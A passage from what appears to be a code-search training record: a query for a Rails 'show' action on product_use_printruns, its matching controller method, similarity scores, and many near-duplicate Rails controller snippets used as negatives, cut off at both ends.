end\n end", "def show\n @repair_use = RepairUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repair_use }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\r\n @product = Product.find_by_urlname(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # product.html.erb\r\n format.xml { render :xml => @product }\r\n end\r\n end", "def show\n @product = Product.find(params[:id].to_i)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_licence_detail = ProductLicenceDetail.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_licence_detail }\n end\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def show\n format.xml {\n render :xml# => @mobile_cfr_prods.to_xml\n }\n end", "def show\n @sample_product = SampleProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sample_product }\n end\n end", "def show\n @requests_transferences_products_detail = Requests::Transferences::Products::Detail.find(params[:id])\n respond_to do |format|\n format.html\n end\n end", "def index\n @products = Product.all_by_code.paginate :page => params[:page], :per_page => 30\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @products }\n end\n end", "def index\n @products = @user.products\n # was @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @products }\n end\n end", "def index\n @product_sections = ProductSection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_sections }\n end\n end", "def show\n @pr = Pr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pr }\n end\n end", "def touring\n @products = Product.on_tour(website)\n respond_to do |format|\n format.html { render_template } # touring.html.erb\n # format.xml { render xml: @products }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n\n\t\t@products = Product.find :all, :conditions => \"publisher_id = '#{@publisher.id}'\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @publisher }\n end\n end", "def index\n @sc_products = ScProduct.all\n\n respond_to do |format|\n format.html\n format.json { render json: @sc_products }\n format.xml { render xml: @sc_products }\n end\n end", "def show\n @supplier = Supplier.find(params[:id])\n @products = @supplier.products.paginate(:page => params[:page])\n \n \n\n @reorder_url = reorder_suppliers_url\n flash[:notice] = \"Supplier has (#{@products.size}) products.\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @supplier }\n end\n end", "def show\n @use = Use.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @use }\n end\n end", "def index\n @pe_exchange_products = PeExchangeProduct.all.page(params[:page]).per(params[:per_page])\n respond_to do |format|\n format.html\n format.json { render json:\n list_json(@pe_exchange_products, :include => [:pe_product])\n }\n end\n end", "def show\n @pro_wmall_product = Wmall::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pro_wmall_product }\n end\n end", "def show \n require 'open-uri'\n\n @prd_attribute = PrdAttribute.find(params[:id], :include => [:products, :prd_attribute_devices])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prd_attribute }\n format.json {\n\n\t \trender :json => mapping_to_hash(@prd_attribute, PrdAttribute.json_mapping_table)\n\t }\n format.rule {\n product = @prd_attribute.products[0]\n f = open(\"http://localhost:3000/products/\"+product.id.to_s+\".rule\")\n @webpage = f.read\n f.close\n\n render :rule => @webpage\n\t }\n end\n end", "def show\n @product_info = ProductInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_info }\n end\n end", "def index\n @locals = @shopping.locals.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locals }\n end\n end", "def index\n\t\t@products = Product.page(params[:page])\n respond_with(@products)\n end", "def index\n @priced_items = PricedItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @priced_items }\n end\n end", "def all(params = {})\n path = \"/product-view/products\"\n\n handle_all_request(path, :products, params)\n end", "def show\n @products = Product.search(params).paginate(:page => params[:page], :per_page => 10)\n end", "def index\n @product_families = website.product_families\n @discontinued_products = website.discontinued_and_vintage_products\n respond_to do |format|\n format.html { render_template } # index.html.erb\n # format.xml { render xml: @product_families }\n end\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def index\n @products = Product.find(:all, :include => [:author])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def products\n Product.find_all_by_vendor_id(@id)\n end", "def index\n @product_lists = ProductList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_lists }\n end\n end", "def index\n @products = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n format.json { render :json => @products }\n end\n end", "def show\n @lista_precio = ListaPrecio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lista_precio }\n end\n end", "def find_products(payload = {})\n request('FindProducts', payload)\n end", "def index\n\n\n @users_a = self.user_to_ar\n @flag = params[:steta]\n @product_id = params[:product_id]\n\n if @product_id\n @product_data = Product.find(:id=>@product_id.to_i)\n end\n\n @product_in_outs = ProductInOut.vip_access(user_vip_access , session).page params[:page]\n\n\n end", "def index\n @ppos_prerequisites = PposPrerequisite.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ppos_prerequisites }\n end\n end", "def index\n @puffin_orders = PuffinOrder.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @puffin_orders }\n end\n end", "def index\n @product_ranges = ProductRange.find(:all)\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @product_ranges }\n end\n end", "def show\n @ppos_prerequisite = PposPrerequisite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ppos_prerequisite }\n end\n end", "def trip_purposes \n label = request_label(:purposes)\n \n @http_request_bundler.add(\n label, \n @url + \"/trip_purposes\", \n :get,\n head: headers,\n query: { provider_id: provider_id }\n ).response!(label)\n end" ]
[ "0.7011666", "0.61986554", "0.61970097", "0.61491007", "0.6111791", "0.5969342", "0.5935867", "0.59034646", "0.5873566", "0.58492506", "0.5834952", "0.58194816", "0.58069474", "0.5805488", "0.57976824", "0.5793734", "0.57750386", "0.5768335", "0.5760595", "0.5740809", "0.5737028", "0.5735341", "0.5731938", "0.5714067", "0.5712998", "0.5694035", "0.5679328", "0.56787497", "0.5667671", "0.5657576", "0.5657227", "0.56517774", "0.5650342", "0.5642855", "0.56367165", "0.56318223", "0.56298065", "0.5620009", "0.5614117", "0.56087476", "0.56074953", "0.5582988", "0.5578135", "0.55749935", "0.5572249", "0.5560301", "0.5560255", "0.5550338", "0.55477333", "0.55461967", "0.55461967", "0.55461967", "0.55461967", "0.5543111", "0.55399877", "0.5537668", "0.55175817", "0.5517066", "0.5515877", "0.55043155", "0.5500039", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.549985", "0.5496633", "0.5489323", "0.54867995", "0.5469769", "0.5464943", "0.54614455", "0.5459651", "0.54561526", "0.5453138", "0.54519814", "0.54517263", "0.5443956", "0.5442454", "0.54357314", "0.54345703", "0.542986", "0.54231715", "0.5422371", "0.5421084", "0.5419397", "0.5416116", "0.5413638", "0.54102004", "0.540731", "0.53979677", "0.5389324", "0.53887117" ]
0.7536538
0
GET /product_use_printruns/1 GET /product_use_printruns/1.xml
def show @product_use_printrun = ProductUsePrintrun.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @product_use_printrun } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @product_use_printruns = ProductUsePrintrun.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_use_printruns }\n end\n end", "def onix_xml_for_product(product_or_rr, full_message = false) #:nodoc:\n if product_or_rr.kind_of? Elibri::ApiClient::ApiAdapters::V1::Product\n rr = product_or_rr.record_reference\n else\n rr = product_or_rr\n end\n resp = get \"/products/#{rr}\", :headers => {\"X-eLibri-API-ONIX-dialect\" => @onix_dialect}\n if full_message\n resp.parsed_response\n else\n resp.parsed_response.css('Product').first\n end\n end", "def show\n @products = CatalogMebeli.find(params[:id]).products\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_set = ProductSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_set }\n end\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def show\n @lista_precio = ListaPrecio.find(params[:id])\n @producto_listas = @lista_precio.producto_lista_precios.paginate(:page => params[:page],:per_page => 30)\n @cant_productos = @lista_precio.producto_lista_precios.count \n\n respond_to do |format|\n format.html \n format.xml { render :xml => @lista_precio}\n end\n end", "def show\n\t\t@produt = Produt.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml {render :xml => @produt}\n\t\tend\n\tend", "def show\n @produto_kit = ProdutoKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto_kit }\n end\n end", "def products\n @products = ['ninja', 'fish', 'chauffeur']\n respond_to do |format|\n format.html # render html version\n format.xml {\n # NOTE This only works for ActiveRecord objects\n # render :xml => @products.to_xml\n render :file => \"machines/products.rxml\", :use_full_path => true\n }\n end\n end", "def index\n @rep_tot = Product.report_totals[0]\n @rep_loc = Location.report_located[0]\n\n @products = Product.grid\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @product_request = ProductRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_request }\n end\n end", "def show\r\n load_session\r\n\r\n @product = Product.find(params[:id])\r\n @product_desc = @product.product_description\r\n\r\n # Build XML resposne object\r\n xml = Builder::XmlMarkup.new\r\n xml.instruct!\r\n xml.response << @product.to_xml\r\n\r\n respond_to do |format|\r\n format.html # { render :layout => 'home' }\r\n format.xml # { render :xml => @product }\r\n end\r\n end", "def show\n @prizecount = Prizecount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prizecount }\n end\n end", "def show\n @user_product_xref = UserProductXref.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_product_xref }\n end\n end", "def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @product_software }\n end\n end", "def view\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_status = ProductStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_status }\n end\n end", "def show\r\n\t @product = Product.find(params[:id])\r\n\t @products = Product.find(:all)\r\n \r\n\t respond_to do |format|\r\n\t\t format.html # show.html.erb\r\n\t\t format.xml { render :xml => @product }\r\n\t end\r\n\tend", "def show_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def product(name)\n get(\"/apiproducts/#{name}\")\n end", "def show\r\n @product = Product.find_by_urlname(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # product.html.erb\r\n format.xml { render :xml => @product }\r\n end\r\n end", "def show\n @product = Product.find(params[:id].to_i)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_list = ProductList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_list }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @product.to_xml }\n end\n end", "def products\n request :public, :get, :products\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def index\n @product_licence_details = ProductLicenceDetail.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_licence_details }\n end\n end", "def index\n @sprints = @product.sprints\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sprints }\n end\n end", "def index\n @products = Product.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @sample_product = SampleProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sample_product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @product_info = ProductInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_info }\n end\n end", "def index\n @products = Product.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n format.xml {\n render :xml# => @mobile_cfr_prods.to_xml\n }\n end", "def show\n @repair_use = RepairUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @repair_use }\n end\n end", "def show\n @prd_etc = PrdEtc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end", "def index\n @product_sets = ProductSet.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_sets }\n end\n end", "def show\n @product_licence_detail = ProductLicenceDetail.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_licence_detail }\n end\n end", "def get_product(rid, add_params = nil)\n params = {\n uid: uid,\n rid: rid,\n }\n api_call('/stores/:uid/products/:rid(.:format)',:get,params,add_params)\n end", "def show\n @pr = Pr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pr }\n end\n end", "def index\n @product_statuses = ProductStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_statuses }\n end\n end", "def index\n @products = Product.all.paginate(:per_page => 10, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n \n end", "def show\n @requests_transferences_products_detail = Requests::Transferences::Products::Detail.find(params[:id])\n respond_to do |format|\n format.html\n end\n end", "def show\n @use = Use.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @use }\n end\n end", "def show\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_line }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_softwares }\n end\n end", "def get_products(add_params = nil)\n params = {\n uid: uid,\n }\n api_call('/stores/:uid/products(.:format)',:get,params,add_params)\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @product }\n end\n end", "def show\n @pro_temp = ProTemp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pro_temp }\n end\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def index\r\n @product_results = ProductResult.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @product_results }\r\n end\r\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def new\r\n @se_use_product = SeUseProduct.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @se_use_product }\r\n end\r\n end", "def who_bought\n @product = Product.find(params[:id])\n respond_to do |format|\n format.atom\n #format.xml { render :xml => @product }\n format.xml { render :xml => @product.to_xml(:include => :orders) }\n format.json {render :json => @product.to_json(:include => :orders)}\n\n end\n end", "def show \n require 'open-uri'\n\n @prd_attribute = PrdAttribute.find(params[:id], :include => [:products, :prd_attribute_devices])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prd_attribute }\n format.json {\n\n\t \trender :json => mapping_to_hash(@prd_attribute, PrdAttribute.json_mapping_table)\n\t }\n format.rule {\n product = @prd_attribute.products[0]\n f = open(\"http://localhost:3000/products/\"+product.id.to_s+\".rule\")\n @webpage = f.read\n f.close\n\n render :rule => @webpage\n\t }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_batch }\n end\n end", "def show\n @lista_precio = ListaPrecio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lista_precio }\n end\n end", "def index\n# @products = Product.all\n#pagination:\n\t@products = Product.all.paginate :per_page => 5, :page => params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @products }\n end\n end", "def show\n @se_use_production_data = SeUseProductionData.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @se_use_production_data }\n end\n end", "def show\n @producttag = Producttag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @producttag }\n end\n end", "def show\n @consumption_use = ConsumptionUse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @consumption_use }\n end\n end", "def show\n begin\n @prov_xn = ProvXn.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prov_xn }\n end\n rescue (ActiveRecord::RecordNotFound)\n logger.error($!)\n return(head :not_found) # note, should also return errors as xml.\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n end\n end", "def show\n @ppos_prerequisite = PposPrerequisite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ppos_prerequisite }\n end\n end", "def show\n @produtividade = Produtividade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produtividade }\n end\n end", "def show\n @product_exchange = ProductExchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_exchange }\n end\n end", "def index\n @product_sections = ProductSection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_sections }\n end\n end", "def show\n @supplier = Supplier.find(params[:id])\n @products = @supplier.products.paginate(:page => params[:page])\n \n \n\n @reorder_url = reorder_suppliers_url\n flash[:notice] = \"Supplier has (#{@products.size}) products.\"\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @supplier }\n end\n end", "def index\n @products = Product.all_by_code.paginate :page => params[:page], :per_page => 30\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @products }\n end\n end", "def show\n @pro_wmall_product = Wmall::Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pro_wmall_product }\n end\n end", "def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @product_review_product }\n end\n end", "def show\n @ru_pusk = RuPusk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ru_pusk }\n end\n end", "def index\n @sc_products = ScProduct.all\n\n respond_to do |format|\n format.html\n format.json { render json: @sc_products }\n format.xml { render xml: @sc_products }\n end\n end", "def show\n @catalog_product = CatalogProduct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catalog_product }\n end\n end", "def show\n @product = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product }\n format.json { render :json => @product }\n end\n end", "def show\n @product_range = ProductRange.find(params[:id])\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @product_range }\n end\n end", "def index\n respond_with ProductNodes.all\n end", "def show\n\t\t@ptax = Ptax.find(params[:id])\n\t\trespond_to do |format|\t\t\n\t\t\tformat.html \n\t\t\tformat.xml { render :xml => @ptaxes }\t\t#Render to XML File\n\t\tend\n\tend", "def show\n\n\t\t@products = Product.find :all, :conditions => \"publisher_id = '#{@publisher.id}'\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @publisher }\n end\n end", "def show\n @requests_devolutions_products_detail = Requests::Devolutions::Products::Detail.find(params[:id])\n respond_to do |format|\n format.html\n end\n end", "def show\n @pto = Pto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pto }\n end\n end", "def show\n @nr_parameter = NrParameter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nr_parameter }\n end\n end", "def show\n @product_order = ProductOrder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_order }\n end\n end", "def show\n @semi_product_exchange = SemiProductExchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @semi_product_exchange }\n end\n end" ]
[ "0.7466165", "0.6433961", "0.6245989", "0.6226469", "0.6208665", "0.6183744", "0.61757606", "0.6167591", "0.61493796", "0.6140269", "0.61345553", "0.612788", "0.6125291", "0.6104269", "0.6099971", "0.605909", "0.60544336", "0.6052511", "0.60518193", "0.60450006", "0.6041839", "0.60376954", "0.6027729", "0.6024839", "0.6010907", "0.6003397", "0.59823006", "0.59793353", "0.59746313", "0.59703594", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.5939387", "0.59244627", "0.5924065", "0.59067607", "0.5906493", "0.590583", "0.59057623", "0.58921784", "0.5882497", "0.5877209", "0.5869691", "0.58690476", "0.5853665", "0.5842924", "0.5836746", "0.58188725", "0.5809219", "0.57970256", "0.5789447", "0.57847214", "0.57689553", "0.57689553", "0.57689553", "0.57689553", "0.5760746", "0.5760746", "0.5760746", "0.57543576", "0.57469356", "0.5741434", "0.5741338", "0.57348937", "0.57306033", "0.5728788", "0.5725161", "0.5716452", "0.57111496", "0.56942266", "0.5683985", "0.568222", "0.5681104", "0.5679358", "0.5672284", "0.56720334", "0.56591165", "0.56581485", "0.56552637", "0.56549156", "0.5644395", "0.56429476", "0.5641904", "0.5637279", "0.5632266", "0.56314844", "0.5630575", "0.56279314", "0.5626979", "0.5617694", "0.56150347" ]
0.7193476
1
GET /product_use_printruns/new GET /product_use_printruns/new.xml
def new @product_use_printrun = ProductUsePrintrun.new @product_categories = ProductCategory.find(:all) @product_use_printrun.product_categories << @product_categories[params[:id].to_i-1] if params[:id] respond_to do |format| format.html # new.html.erb format.xml { render :xml => @product_use_printrun } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n\t\t@produt = Produt.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml {render :xml => @produt}\n\t\tend\n\tend", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_software }\n end\n end", "def new\n @pr = Pr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pr }\n end\n end", "def new\r\n @se_use_product = SeUseProduct.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @se_use_product }\r\n end\r\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new\n @product = Product.new\n assign_lovs\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @product }\n end\n end", "def new\n @pro_temp = ProTemp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pro_temp }\n end\n end", "def new\n @produto = ProdutoSimples.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @produto }\n end\n end", "def new\n #@product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @use = Use.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @use }\n end\n end", "def new\n @prizecount = Prizecount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prizecount }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item}\n end\n end", "def new\n @repair_use = RepairUse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repair_use }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end", "def new\n @product = Product.new\n\n 